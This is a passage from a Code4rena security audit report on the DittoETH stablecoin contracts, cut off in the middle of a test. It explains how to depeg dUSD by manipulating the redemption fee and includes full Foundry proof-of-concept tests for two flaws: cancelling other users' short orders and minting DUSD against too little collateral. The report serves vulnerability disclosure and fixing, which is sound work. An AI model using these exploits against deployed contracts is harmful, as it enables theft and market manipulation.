DittoETH
Findings & Analysis Report

2024-06-25

Overview
- About C4
- Wardens
Summary
Scope
Severity Criteria
High Risk Findings (7)
Medium Risk Findings (9)
Low Risk and Non-Critical Issues
Audit Analysis
Disclosures

Overview

About C4

Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.

A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit outlined in this document, C4 conducted an analysis of the DittoETH smart contract system written in Solidity. The audit took place between March 15 — April 5, 2024.

Wardens

44 Wardens contributed reports to DittoETH:

This audit was judged by hansfriese.

Final report assembled by thebrittfactor.

Summary

The C4 analysis yielded an aggregated total of 16 unique vulnerabilities. Of these vulnerabilities, 7 received a risk rating in the category of HIGH severity and 9 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 18 reports detailing issues with a risk rating of LOW severity or non-critical.

All of the issues presented here are linked back to their original finding.

Scope

The code under review can be found within the C4 DittoETH repository, and is composed of 12 smart contracts written in the Solidity programming language and includes 1961 lines of Solidity code.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

Malicious Input Handling
Escalation of privileges
Arithmetic
Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.

High Risk Findings (7)

[H-01] A successfully disputed redemption proposal has still increased the redemption fee base rate; exploit to depeg dUSD

Submitted by d3e4

Redemptions may not be incentivized to increase the value of dUSD. Furthermore, this may be deliberately induced to prevent a falling dUSD from repegging, ultimately causing dUSD to fully depeg and crash. The motivations for this attack could be anything from pure spite (perhaps from a competitor)

Root cause and summary

The most fundamental root cause of this issue and exploit is that the base rate in the redemption fee is increased when a redemption is proposed, but not restored (decreased) if the redemption is successfully disputed.

When dUSD is trading below the dollar, redemptions are needed to restore the peg. The redemption fee regulates the incentive to redeem dUSD. So if the redemption fee is increased, without contributing to the peg restoration by decreasing the supply of dUSD, the peg restoration mechanism is impeded and sufficient redemptions will not happen. A sufficiently high redemption fee will make any redemption a loss for the redeemer, which means that the peg will not be restored.

This issue becomes viable as a direct exploit because of multiple factors reducing its cost to the attacker:

The attacker can avoid paying the penalty by disputing his own proposal (using a different account).
The redemption fee contains an added base fee of 0.5% which reduces the required amount to propose, on which the fee is paid.
A. The total redemption fee decreases, down to almost a half, if the proposed amount is split over several redemption proposals.

B. By splitting the total proposed amount the attacker only needs to escrow dUSD for one such part (at a time), which minimizes his own loss on his devalued dUSD.
The redemption fee is proportional to the collateral that would be redeemed, which is capped to the short record’s collateral balance; whereas the base rate is increased based on the amount proposed, which is not reduced accordingly. This can only be leveraged if there exists an undercollateralized short record. But if there is, this can be leveraged to make this exploit essentially for free for about 48 hours.

With the possible exception of 1 above, all of the above are issues in their own right, especially 4; which is therefore, also reported separately. The impact of 2 and 3 is subject to the model used for how (quantitatively) redemptions restore the peg,; therefore, is discussed below rather than reported separately.

Proof of Concept

The goal of this exploit is to cause a persistent and complete loss of incentive to redeem dUSD, such that a dUSD trading below the dollar fails to recover its peg.

There is some level below which dUSD is critically depegged. This is at least at the level where it becomes undercollateralized. For example, if the total collateral ratio is 1.25, this would happen if dUSD trades at $0.80. However, there is also a psychological and interfacing aspect. Since dUSD is supposed to maintain a 1:1 peg, if dUSD persistently trades at $0.90 or even $0.95, users might become suspicious, lose interest, or deem dUSD unsuitable or broken; which would cause it to further depeg. Therefore, any significant depeg will become critical if it is also persistent over time.

It is assumed that there are always market forces (randomly) pushing the value of dUSD down, which is why the peg restoration mechanism through redemptions is necessary. If redemptions are prevented it is therefore assumed that these forces will take over and keep pushing dUSD downwards.

A complete collapse of dUSD is not necessarily the goal. This could also be profited from as a kind of market manipulation where the attacker crashes the price to buy cheap dUSD, and then lets the redemption incentive back in and redeem his cheaply gotten dUSD (for real this time). The exploit will thus be considered successful if redemptions are prevented throughout the time it takes dUSD to drop from $1.00 to (e.g.) $0.95 and then keep preventing redemptions for some time.

The redemption fee is redemptionRate * redemptionAmount (redemptionAmount in USD value or dUSD equivalently). The profit on a redemption is (1 - price) * redemptionAmount - redemptionRate * redemptionAmount. Thus, whenever redemptionRate >= (1 - price) there is no profit to be made on redemptions. This is the redemption rate we want to maintain.

When a redemption is proposed the redemption fee is calculated. This updates the baseRate. When a redemption proposal is disputed nothing is done to the baseRate. This is the root cause of this issue.

When a redemption proposal is disputed the redemption proposer gets back the entire amount proposed minus the penalty. This means that if the disputer and the proposer is the same person (using different addresses, since they cannot be the same) then the penalty is not lost. The attack would be performed as a proposal atomically followed by a dispute. This shows issue 1 in the list above.

The redemption proposer still has to pay the redemption fee, however. We will now investigate how much this would cost the attacker.

Ignoring the decay for now, when an amount a is proposed the base rate increases by a / (2 * totalSupply), where totalSupply is the total supply of dUSD, i.e. the total ercDebt. Since a base rate of 0.5% is always added (issue 2 above), we only need to keep the base rate at 1 - price - 0.005.

Assuming an initial base rate of 0, to bring the base rate up to 1 - price - 0.005 we would then propose a = (1 - price - 0.005) * 2 * totalSupply. The redemption fee would then be (1 - price) * (1 - price - 0.005) * 2 * totalSupply. For price = 0.95 this is 0.0045 * totalSupply.

If we split the amount a into n smaller parts each of size a/n then the base rate will increase (a/n) / (2 * totalSupply) each time (so we still need to propose the same total amount), but the redemption fee on the kth time will only be a/n * (k * (a/n) / (2 * totalSupply) + 0.005). Note that if each proposals is immediately disputed then totalSupply remains constant; otherwise, totalSupply decreases slightly each time such that the redeemed fraction increases such that we can propose less overall for even lower fees.

Summed over all k this is a^2 * n * (n+1) / (n^2 * 4 * totalSupply) + 0.005 * a. The limit for high n is a * (a / (4 * totalSupply) + 0.005 * a). Substituting a from above we get that the total fees are ((1 - price)^2 - 2.5e-5) * totalSupply, which is almost half of the single proposal cost. For price = 0.95 this is 0.002475 * totalSupply.

Let’s now consider the cost of working against the decay of the base rate. After t hours the base rate has decayed by a factor 2^(-t/12). In order to bring the redemption rate back up to 1 - price we need to propose another (1 - price - (1 - price) * 2^(-t/12)) * 2 * totalSupply, on which we pay in fees (1 - price)^2 * (1 - 2^(-t/12)) * 2 * totalSupply. In the best case we only need to do this very rarely, and the average cost per hours then tends to zero. In the worst case, if we have to propose continuously, the limit is (1 - price)^2 * 2 * totalSupply * ln(2)/12 per hour. For price = 0.95 this is 0.00029 * totalSupply in the worst case.

Finally let’s discuss issue 4. If the short record holds less collateral than can cover the proposed amount, then it is capped to whatever it does hold. The proposed amount, however, is not reduced. These are passed to the calculation of the redemption fee, and it is the collateral redeemed that is multiplied by the redemption rate, while the base rate is increased based on the amount proposed (ercDebtRedeemed). This means that we pay a smaller fee than we should. Once there is an undercollateralized short record we can first partially redeem it so that almost no (or zero?) collateral remains. This decreases the collateral to almost 0, while some debt still remains.

Performing our attack with two such short records, we can make and dispute proposals where the fees are almost zero but still increase the base rate each time. We can now blow up the redemption rate to the maximum 100% essentially for free. This will decay down to 6.25% in 48 hours, which is sufficient to prevent redemptions down to a price of 0.9325. These severely undercollateralized short records may of course be immediately proposed and claimed by anyone, but it is not necessarily likely that anyone will do that, since there is no profit to be made. We might therefore be able to repeat this every 48 hours (or more often) and maintain an arbitrarily high redemption rate almost for free.

Bonus note on issues 2 and 3

The redemption fee mechanism is clearly intended to be optimal for redemption amounts which reduce the supply in accordance with the Quantity Theory of Money. However, the added 0.5% fee disrupts this and makes redemption optimal for a amount insufficient to restore the peg. The intention behind the 0.5% is probably to not allow free redemptions and to bring in some profit to the protocol, but it does not make sense to always add it. It should then be only a lower limit.

Furthermore, this optimality is only valid under the assumption that redemptions are proposed in wholes, and not split up. As seen above, more can profitably be redeemed if the redemption is split in many small parts. This causes redemptions to overshoot, causing the price to increase above $1.00 (as per QTM). This is not as straightforward to fix, but one solution might be to only allow sufficiently large proposed amounts.

It should also of course be possible to redesign the peg stabilization mechanism, by some direct reference to the deviation from the peg, since this deviation is explicitly know through the oracle price.

Recommended Mitigation Steps

Make sure the base rate is unaffected by a proposal which is successfully disputed. It might be tricky to account for the decay if attempting to later subtract when disputing. A possible solution might be to simply calculate and apply the new rate only when a proposal is successfully claimed.

ditto-eth (DittoETH) confirmed

[H-02] An attacker can cancel other people’s short orders

Submitted by 00xSEV

LibSRUtil.transferShortRecord does not check the owner of nft.shortOrderId before canceling it. shortOrderIds are reused after the order is canceled.

An attacker can create a state for an NFT where the short record’s status is SR.PartialFill, but nft.shortOrderId is already reassigned to another user, yet still set in the attacker’s NFT. This will make the system think that it needs to cancel nft.shortOrderId, even though it belongs to another user already and does not reference the original order.

Vulnerability Details

https://github.com/code-423n4/2024-03-dittoeth/blob/91faf46078bb6fe8ce9f55bcb717e5d2d302d22e/contracts/libraries/LibSRUtil.sol#L134-L136

if (short.status == SR.PartialFill) {
            LibOrders.cancelShort(asset, nft.shortOrderId);
}

For the example, we will use ids that would be used by a new asset (starting ids, 2 for shortRecord and 100 for short order).

Steps for the attacker, the simplest attack (see test1 function in PoC too):

Create a short record that will be partially filled:
- The attacker can create a limit short + market bid in the same transaction. The market bid must not fully cover the limit short.
Then, possibly in the same transaction, they:
- mintNFT
  - shortRecordId = 2
  - shortOrderId = 100
    - short order’s linked list state: HEAD <-> HEAD <-> 100 <-> TAIL.
- Cancel the short.
  - Short order’s linked list state HEAD <-> 100 <-> HEAD <-> TAIL.
- Cancel the short record with id 2 (exitShortErcEscrowed in PoC).
A victim creates a limit short:
- shortOrderId is 100 again (reused), but it is a different order, it belongs to the victim now.
- Short order’s linked list state HEAD <-> HEAD <-> 100 <-> TAIL.
The attacker decides to cancel it.
The attacker creates a new short record (the same way as in step 1). Note that because the last short record with id=2 was canceled its id will be reused.
- Even though we canceled the short record in step 2.3, it is now recreated. So, the new record’s id is 2 again and the .status is SR.PartialFill.
Attacker does transferFrom:
- All the checks are passed because the short record with id is legit, the status is SR.PartialFill, and the record belongs to the attacker.
- The code will call LibOrders.cancelShort(asset, nft.shortOrderId);.
  - nft.shortOrderId is 100.
- The short order with id 100 is canceled (victim’s order).

The attacker can also create many NFTs and choose which orders to cancel as they wish (See the second function in PoC). The attacker can then create the NFTs again and start the attack again (See the third PoC).

It’s also possible to have several NFTs on the same address or different addresses with the same nft.shortOrderId. It may also lead to accidental cancellation even if a user is not malicious.

Impact

The attacker has full control over which short orders appear on the order book; they can censor orders, manipulate the price by canceling orders with a low price.

It’s possible to reduce other’s rewards by canceling shorts just before the rewards are due (Token yield is provided only after some time on the order book, see here).

The platform is unusable because short orders can be canceled at any time arbitrarily by an attacker, or several attackers/bad actors, who do not like some short orders.

Proof of Concept

forge test -vvv --match-path contracts/AANftAttack.sol

// SPDX-License-Identifier: GPL-3.0-only
pragma solidity 0.8.21;

import "contracts/libraries/LibOrders.sol";
import {Test} from "forge-std/Test.sol";
import {OBFixture} from "test/utils/OBFixture.sol";
import {console} from "contracts/libraries/console.sol";
import {IDiamond} from "interfaces/IDiamond.sol";
import "contracts/libraries/AppStorage.sol";
import "contracts/libraries/Constants.sol";
import "contracts/interfaces/IDiamondCut.sol";
import "contracts/libraries/LibAsset.sol";
import {U256, U88, U80} from "contracts/libraries/PRBMathHelper.sol";
import {TestTypes} from "test/utils/TestTypes.sol";

import {console2} from "forge-std/console2.sol";


contract AppStorageReader {
    function minAskEth(address asset) external view returns (uint) {
        return LibAsset.minAskEth(asset);
    }

    function initialCR(address asset) external view returns (uint) {
        return LibAsset.initialCR(asset);
    }

    function minShortErc(address asset) external view returns (uint) {
        return LibAsset.minShortErc(asset);
    }

    function getBid(address asset, uint16 id) external view returns (STypes.Order memory) {
        return appStorage().bids[asset][id];
    }

    function getShort(address asset, uint16 id) external view returns (STypes.Order memory) {
        return appStorage().shorts[asset][id];
    }

    function getTokenIdCounter() external view returns (uint40) {
        return appStorage().tokenIdCounter;
    }
}

contract AANftAttack is OBFixture {
    using U256 for uint256;
    using U88 for uint88;
    using U80 for uint80;


    bytes4[] internal appStorageReaderSelectors = [
        AppStorageReader.minAskEth.selector,
        AppStorageReader.initialCR.selector,
        AppStorageReader.getBid.selector,
        AppStorageReader.getShort.selector,
        AppStorageReader.getTokenIdCounter.selector,
        AppStorageReader.minShortErc.selector
    ];
    IDiamondCut.FacetCut[] public newCut;


    // Shows that an attacker can cancel someone else's order, simplified, only one order
    function test1() external {
        _addAppStorageReaderToDiamond();

        address attacker = address(0x5a9a88bD94c8410243B0c04018811b8cA4D09D55);
        address victim = address(0x0537B70dc9F255c76AE6E583D3D282fEE96E1E84);

        fundLimitShort( DEFAULT_PRICE, DEFAULT_AMOUNT, attacker ); 
        fundMarketBid( DEFAULT_PRICE, DEFAULT_AMOUNT / 10, attacker );

        vm.startPrank(attacker);
            diamond.mintNFT( asset, C.SHORT_STARTING_ID, C.STARTING_ID);
            cancelShort(C.STARTING_ID);
        vm.stopPrank();

        STypes.ShortRecord memory shortRecord = getShortRecord(attacker, C.SHORT_STARTING_ID);
        uint88 amount = shortRecord.ercDebt;
        // Deletes the last shortRecord
        exitShortErcEscrowed(C.SHORT_STARTING_ID, amount, attacker);
        
        fundLimitShort( DEFAULT_PRICE - 1, DEFAULT_AMOUNT * 99, victim ); 

        // Creates new shortRecord
        fundLimitShort( DEFAULT_PRICE, DEFAULT_AMOUNT, attacker ); 
        fundMarketBid( DEFAULT_PRICE, DEFAULT_AMOUNT / 10, attacker );
        // _logShortOrders();

        vm.prank(attacker);
        // You can comment this line to make sure cancelShort will not revert
        diamond.transferFrom(attacker, attacker, 1);

        // _logShortRecords(attacker);
        // _logShortOrders();

        vm.prank(victim);
        vm.expectRevert(Errors.NotActiveOrder.selector);
        cancelShort(C.STARTING_ID);
    }

    // Shows that an attacker can cancel arbitrary orders, more complex
    function test2() external {
        _addAppStorageReaderToDiamond();

        // Random addresses, can be indefinite
        address[3] memory attackerAddresses = [
            0x5a9a88bD94c8410243B0c04018811b8cA4D09D55,
            0x12e9757fB4a2990aDaf10A6ca8C7085C06cF7173,
            0x9A2f3C59E8CF1f7c0e514D7f22B37BA2E58CF737
        ];
        address victim = address(0x0537B70dc9F255c76AE6E583D3D282fEE96E1E84);

        for (uint8 i; i < attackerAddresses.length; i++){
            // These two lines create a ShortRecord
            // Price decreases with each step to make a new order the first to be filled, 
            // ensuring that every fill (market bid) does not go to the first short order.
            // Price is higher than default to be > oracle price and be filled
            fundLimitShort( DEFAULT_PRICE + 100 - i, DEFAULT_AMOUNT, attackerAddresses[i] ); 
            fundMarketBid( DEFAULT_PRICE + 100, DEFAULT_AMOUNT / 10, attackerAddresses[i] );

            vm.prank(attackerAddresses[i]);
            diamond.mintNFT( asset, C.SHORT_STARTING_ID, C.STARTING_ID + i);
        }

        for (uint8 i; i < attackerAddresses.length; i++){
            vm.prank(attackerAddresses[i]);
            cancelShort(C.STARTING_ID + i);

            STypes.ShortRecord memory shortRecord = getShortRecord(attackerAddresses[i], C.SHORT_STARTING_ID);
            uint88 amount = shortRecord.ercDebt;
            exitShortErcEscrowed(C.SHORT_STARTING_ID, amount, attackerAddresses[i]);
        }

        // Empty
        console.log("__Before victim creates orders (empty):");
        _logShortOrders();

        // +111, +222, +333 are used to differentiate between orders in the log output.
        fundLimitShort( DEFAULT_PRICE + 1000, DEFAULT_AMOUNT + 111, victim ); 
        fundLimitShort( DEFAULT_PRICE + 1000, DEFAULT_AMOUNT + 222, victim ); 
        fundLimitShort( DEFAULT_PRICE + 1000, DEFAULT_AMOUNT + 333, victim ); 

        // 3 victim's orders
        console.log("__After victim creates orders (3 orders):");
        _logShortOrders();

        for (uint8 i; i < attackerAddresses.length; i++){
            // Skip the second one just to demonstrate that one can cancel arbitrary
            if (i == 1) continue;

            // Create shorts that will be partially filled, to create shortRecords
            // We need it to replace deleted/closed records with id C.SHORT_STARTING_ID
            // with a new one. It will set their status to PartiallyFilled
            fundLimitShort( DEFAULT_PRICE + 100 - i, DEFAULT_AMOUNT + 4444 + i, attackerAddresses[i] ); 
            fundMarketBid( DEFAULT_PRICE + 100, DEFAULT_AMOUNT / 10, attackerAddresses[i] );
            
            vm.prank(attackerAddresses[i]);
            diamond.transferFrom(attackerAddresses[i], attackerAddresses[i], 1 + i);
        }

        console.log("__After the attack (2 attackers orders followed by a victim's one):");
        _logShortOrders();
    }

    // Shows that an attacker can repeat the attack indefinitely
    function test3() external {
        _addAppStorageReaderToDiamond();

        // Random addresses, can be indefinite
        address[3] memory attackerAddresses = [
            0x5a9a88bD94c8410243B0c04018811b8cA4D09D55,
            0x12e9757fB4a2990aDaf10A6ca8C7085C06cF7173,
            0x9A2f3C59E8CF1f7c0e514D7f22B37BA2E58CF737
        ];
        address attackerAdditionalAddress = 0xefa7092E09664743518177Fc740f257d3C17D348;
        address victim = address(0x0537B70dc9F255c76AE6E583D3D282fEE96E1E84);

        for (uint8 i; i < attackerAddresses.length; i++){
            // These two lines create a ShortRecord
            // Price decreases with each step to make a new order the first to be filled, 
            // ensuring that every fill (market bid) does not go to the first short order.
            // Price is higher than default to be > oracle price and be filled
            fundLimitShort( DEFAULT_PRICE + 100 - i, DEFAULT_AMOUNT, attackerAddresses[i] ); 
            fundMarketBid( DEFAULT_PRICE + 100, DEFAULT_AMOUNT / 10, attackerAddresses[i] );

            vm.prank(attackerAddresses[i]);
            diamond.mintNFT( asset, C.SHORT_STARTING_ID, C.STARTING_ID + i);
        }

        for (uint8 i; i < attackerAddresses.length; i++){
            vm.prank(attackerAddresses[i]);
            cancelShort(C.STARTING_ID + i);

            STypes.ShortRecord memory shortRecord = getShortRecord(attackerAddresses[i], C.SHORT_STARTING_ID);
            uint88 amount = shortRecord.ercDebt;
            exitShortErcEscrowed(C.SHORT_STARTING_ID, amount, attackerAddresses[i]);
        }

        // Empty
        console.log("__Before victim creates orders (empty):");
        _logShortOrders();

        fundLimitShort( DEFAULT_PRICE + 1000, DEFAULT_AMOUNT + 111, victim ); 
        fundLimitShort( DEFAULT_PRICE + 1000, DEFAULT_AMOUNT + 222, victim ); 
        fundLimitShort( DEFAULT_PRICE + 1000, DEFAULT_AMOUNT + 333, victim ); 

        // 3 victim's orders
        console.log("__After victim creates orders (3 orders):");
        _logShortOrders();

        for (uint8 i; i < attackerAddresses.length; i++){
            // Create shorts that will be partially filled, to create shortRecords
            // We need it to replace deleted/closed records with id C.SHORT_STARTING_ID
            // with a new one. It will set their status to PartiallyFilled
            fundLimitShort( DEFAULT_PRICE + 100 - i, DEFAULT_AMOUNT + 4444 + i, attackerAddresses[i] ); 
            fundMarketBid( DEFAULT_PRICE + 100, DEFAULT_AMOUNT / 10, attackerAddresses[i] );
            
            vm.prank(attackerAddresses[i]);
            diamond.transferFrom(attackerAddresses[i], attackerAddresses[i], 1 + i);
        }
        console.log("__After the attack (3 attackers orders):");
        _logShortOrders();
        // 102----HEAD--101--100--103  <--short order ids from the linked list of orders
        //Canceled--H----2----1----0   <--attacker ids from attackerAddresses
        // We want 102--101--100--HEAD--103, so we cancel 2->1->0
        // (A canceled order is placed immediately to the left of HEAD)
        vm.prank(attackerAddresses[2]);
        cancelShort(101);
        vm.prank(attackerAddresses[1]);
        cancelShort(100);
        vm.prank(attackerAddresses[0]);
        cancelShort(103);

        // We got 102--101--100--103--HEAD
        // Then create an order to remove 103 and get to a desired state
        fundLimitShort( DEFAULT_PRICE + 1e6, DEFAULT_AMOUNT + 999, attackerAdditionalAddress); 
        console.log("__Ready for another attack (102--101--100--HEAD--103):");
        _logShortOrders(); // We got 102--101--100--HEAD--103

        for (uint8 i; i < attackerAddresses.length; i++){
            fundLimitShort( DEFAULT_PRICE + 100 - i, DEFAULT_AMOUNT, attackerAddresses[i] ); 
            fundMarketBid( DEFAULT_PRICE + 100, DEFAULT_AMOUNT / 10, attackerAddresses[i] );

            vm.prank(attackerAddresses[i]);
            diamond.mintNFT( asset, C.SHORT_STARTING_ID, C.STARTING_ID + i);
        }

        for (uint8 i; i < attackerAddresses.length; i++){
            vm.prank(attackerAddresses[i]);
            cancelShort(C.STARTING_ID + i);

            STypes.ShortRecord memory shortRecord = getShortRecord(attackerAddresses[i], C.SHORT_STARTING_ID);
            uint88 amount = shortRecord.ercDebt;
            exitShortErcEscrowed(C.SHORT_STARTING_ID, amount, attackerAddresses[i]);
        }
        console.log("__Ready for another attack full:");
        _logShortOrders();

        // Victims create orders again
        fundLimitShort( DEFAULT_PRICE + 1000, DEFAULT_AMOUNT + 555, victim ); 
        fundLimitShort( DEFAULT_PRICE + 1000, DEFAULT_AMOUNT + 666, victim ); 
        fundLimitShort( DEFAULT_PRICE + 1000, DEFAULT_AMOUNT + 777, victim );
        console.log("____Second iteration____");
        console.log("__After victim creates orders (3 victim's orders + an attacker's one):");
        _logShortOrders();


        for (uint8 i; i < attackerAddresses.length; i++){
            fundLimitShort( DEFAULT_PRICE + 100 - i, DEFAULT_AMOUNT + 4444 + i, attackerAddresses[i] ); 
            fundMarketBid( DEFAULT_PRICE + 100, DEFAULT_AMOUNT / 10, attackerAddresses[i] );
            
            vm.prank(attackerAddresses[i]);
            // id (the last argument) starts with 4 because 3 NFTs have been minted 
            // in the previous attack; we don't use them anymore
            diamond.transferFrom(attackerAddresses[i], attackerAddresses[i], 4 + i);
        }

        console.log("__Second attack done (4 attacker's orders):");
        _logShortOrders();
    }

    function _logShortRecords(address addr) internal view {
            console.log("===");
            console.log("id: ", 0);
            console.log(getShortRecord(addr, 0));
            console.log("id: ", 1);
            console.log(getShortRecord(addr, 1));
            console.log("id: ", 2);
            console.log(getShortRecord(addr, 2));
            console.log("id: ", 3);
            console.log(getShortRecord(addr, 3));
            console.log("id: ", 4);
            console.log(getShortRecord(addr, 4));
            console.log("===");
    }




    function _addAppStorageReaderToDiamond() internal {
        newCut.push(
            IDiamondCut.FacetCut({
                facetAddress: address(new AppStorageReader()),
                action: IDiamondCut.FacetCutAction.Add,
                functionSelectors: appStorageReaderSelectors
            })
        );
        vm.prank(owner);
        diamond.diamondCut(newCut, address(0), "");
    }
    

    function _logBids() internal view {
        // See console.logBids
        STypes.Order memory o = AppStorageReader(_diamond).getBid(asset, C.HEAD);
        console.log(o);

        uint16 currentId = o.nextId;
        while (currentId != C.TAIL) {
            o = AppStorageReader(_diamond).getBid(asset, currentId);
            console.log(o);
            currentId = o.nextId;
        }
        console.log("--");
    }

    function _logShortOrders() internal view {
        // See console.logShorts
        STypes.Order memory o = AppStorageReader(_diamond).getShort(asset, C.HEAD);
        console.log(o);

        uint16 currentId = o.nextId;
        while (currentId != C.TAIL) {
            o = AppStorageReader(_diamond).getShort(asset, currentId);
            console.log(o);
            currentId = o.nextId;
        }
        console.log("--");
    }
}

Recommended Mitigation Steps

Consider checking the owner of the short order in transferShortRecord before cancelling it.
Consider burning the nft when short record is deleted.

Assessed type

Invalid Validation

ditto-eth (DittoETH) confirmed

[H-03] Users can mint DUSD with less collateral than required, which gives them free DUSD and may open a liquidatable position

Submitted by nonseodion, also found by serial-coder

Users can mint more DUSD than the value of collateral they provided for the Short Order when they cancel it.

Note: Each number below is a step and some steps jump to other steps.

When a user cancels a short order, the following happens:

If the short’s associated short record has a status of SR.Closed, i.e. it hasn’t been matched, it is deleted and the process moves to step 5.

LibOrders.sol#L898-L902

        if (shortRecord.status == SR.Closed) {
            // @dev creating shortOrder automatically creates a closed shortRecord which also sets a shortRecordId
            // @dev cancelling an unmatched order needs to also handle/recycle the shortRecordId
❌          LibShortRecord.deleteShortRecord(asset, shorter, shortRecordId);
        } else {

Else, if the short record is partially filled or filled, it is checked if it has less than the minimum erc debt (minShortErc).

LibOrders.sol#L904

        if (shortRecord.ercDebt < minShortErc) {

If it has less debt than minShortErc, the short record is filled up to the minShortErc and its status is changed to SR.FullyFilled and the process moves to step 5.

LibOrders.sol#L905C1-L923

                // @dev prevents leaving behind a partially filled SR is under minShortErc
                // @dev if the corresponding short is cancelled, then the partially filled SR's debt will == minShortErc
                uint88 debtDiff = minShortErc - shortRecord.ercDebt;
                {
                    STypes.Vault storage Vault = s.vault[vault];

                    uint88 collateralDiff = shortOrder.price.mulU88(debtDiff).mulU88(LibOrders.convertCR(shortOrder.shortOrderCR));

❌                  LibShortRecord.fillShortRecord(
                        asset,
                        shorter,
                        shortRecordId,
❌                      SR.FullyFilled,
                        collateralDiff,
                        debtDiff,
                        Asset.ercDebtRate,
                        Vault.dethYieldRate
                    );

Else, if it has more debt than minShortErc, the status of the short record is changed to SR.FullyFilled.

LibOrders.sol#L934

                shortRecord.status = SR.FullyFilled;

Finally the short order itself is canceled.

LibOrders.sol#L951

        cancelOrder(s.shorts, asset, id);

The issue arises in step 3 where it tries to fill the short record up to the minShortErc. To fill the Short Record, it first gets the amount of DUSD needed in line 928 of the code snippet below as debtDiff. The collateral needed to mint the DUSD is calculated in line 932.

There are two issues with the calculation in line 932:

It uses the shortOrderCR to calculate the collateral needed. If the short order’s collateral ratio is less than 1 ether then the value of the collateral calculated is less than the value of DUSD that eventually gets minted.
It uses the short order’s price shortOrder.price to calculate the needed collateral. If this price is less than the current price of DUSD in ETH value, the collateral calculated is less than what is required. But if this price is higher than the current price, the user uses more ETH to mint the DUSD.

The short record is filled in line 934, and the collateral needed is removed from the ETH the user initially supplied when he created the short order in line 950. Note that the user (i.e. the shorter) gets the debtDiff (i.e. DUSD minted) in line 953.

LibOrders.sol#L907-L938

928:                 uint88 debtDiff = minShortErc - shortRecord.ercDebt;
929:                 {
930:                     STypes.Vault storage Vault = s.vault[vault];
931: 
932:                     uint88 collateralDiff = shortOrder.price.mulU88(debtDiff).mulU88(LibOrders.convertCR(shortOrder.shortOrderCR));
933: 
934:                     LibShortRecord.fillShortRecord(
935:                         asset,
936:                         shorter,
937:                         shortRecordId,
938:                         SR.FullyFilled,
939:                         collateralDiff,
940:                         debtDiff,
941:                         Asset.ercDebtRate,
942:                         Vault.dethYieldRate
943:                     );
944: 
945:                     Vault.dethCollateral += collateralDiff;
946:                     Asset.dethCollateral += collateralDiff;
947:                     Asset.ercDebt += debtDiff;
948: 
949:                     // @dev update the eth refund amount
950:                     eth -= collateralDiff;
951:                 }
952:                 // @dev virtually mint the increased debt
953:                 s.assetUser[asset][shorter].ercEscrowed += debtDiff;

A malicious user can exploit this by following these steps:

Create a short order on an asset that lets the user provide less than 100% capital.
Ensure that the order only gets partially filled before it is added to the market.
Cancel the order to mint DUSD for only a part of the collateral and get the minted DUSD.

This will allow him to mint more DUSD than the value of the collateral he provided. The Short Record he leaves is also immediately liquidatable.

Impact

The issues above has the following impacts:

Users can mint more DUSD than the collateral they provide.
Users can mint DUSD at a lesser price than the current ETH price.
A user can open a position that is immediately liquidatable if he does any of the two actions above.
Users can also mint DUSD at a higher price than the current ETH price letting them experience a loss.

Proof of Concept

The POC below can be run in the shorts.t.sol file. It consists of 2 tests:

test_MintFreeDUSD shows how a user can mint DUSD for less collateral than required and open a liquidatable position.
test_MintBelowPrice shows how a user can mint DUSD at a lesser price and open a liquidatable position.

// Make sure to import the types below into the Shorts.t.sol file
    // import {STypes, MTypes, O, SR} from "contracts/libraries/DataTypes.sol";
    function test_MintFreeDUSD() public {
        // set the initial, penalty and liquidation CRs
        vm.startPrank(owner);
        // set below 200 to allow shorter provide less than 100% of debt
        diamond.setInitialCR(asset, 170); 
        diamond.setPenaltyCR(asset, 120);
        diamond.setLiquidationCR(asset, 150);
        vm.stopPrank();

        // create a bid to match the short and change its state to SR.PartialFill
        fundLimitBidOpt(1 ether, 0.01 ether, receiver);

        // create the short providing only 70% of the dusd to be minted
        uint88 price = 1 ether;
        depositEth(sender, price.mulU88(5000 ether).mulU88(0.7 ether));
        uint16[] memory shortHintArray = setShortHintArray();
        MTypes.OrderHint[] memory orderHintArray = diamond.getHintArray(asset, price, O.LimitShort, 1);
        vm.prank(sender);
        diamond.createLimitShort(asset, uint80(price), 5000 ether, orderHintArray, shortHintArray, 70);

        STypes.ShortRecord memory short = getShortRecord(sender, C.SHORT_STARTING_ID);
        // successfully matches the bid
        assertTrue(short.status == SR.PartialFill);
        
        // cancel the short to use up collateral provided and mint dusd
        vm.prank(sender);
        cancelShort(101);

        short = getShortRecord(sender, C.SHORT_STARTING_ID);
        assertEq(short.ercDebt, 2000 ether); // 2000 dusd minted
        assertEq(short.collateral, 0.01 ether + 0.7 * 2000 ether); // 70% of ETH collateral provided 

        // this SR is liquidatable
        assertGt( diamond.getAssetNormalizedStruct(asset).liquidationCR, short.collateral.div(short.ercDebt.mul(1 ether)));
    }

    function test_MintBelowPrice() public {
        // create a bid to match the short and change its state to SR.PartialFill
        fundLimitBidOpt(1 ether, 0.01 ether, receiver);

        // create the short providing 400% of the dusd to be minted
        // current initialCR is 500%
        uint88 price = 1 ether;
        depositEth(sender, price.mulU88(5000 ether).mulU88(4 ether));
        uint16[] memory shortHintArray = setShortHintArray();
        MTypes.OrderHint[] memory orderHintArray = diamond.getHintArray(asset, price, O.LimitShort, 1);
        vm.prank(sender);
        diamond.createLimitShort(asset, uint80(price), 5000 ether, orderHintArray, shortHintArray, 400);

        STypes.ShortRecord memory short = getShortRecord(sender, C.SHORT_STARTING_ID);
        assertTrue(short.status == SR.PartialFill); // CR is partially filled by bid
        
        // set the new price to 1.5 ether so that price increase
        uint256 newPrice = 1.5 ether;
        skip(15 minutes);
        ethAggregator.setRoundData(
            92233720368547778907 wei, int(newPrice.inv()) / ORACLE_DECIMALS, block.timestamp, block.timestamp, 92233720368547778907 wei
        );
        fundLimitBidOpt(1 ether, 0.01 ether, receiver);
        assertApproxEqAbs(diamond.getProtocolAssetPrice(asset), newPrice, 15000000150);

        // cancel the short to mint at 1 ether instead of 1.5 ether
        vm.prank(sender);
        cancelShort(101);

        short = getShortRecord(sender, C.SHORT_STARTING_ID);
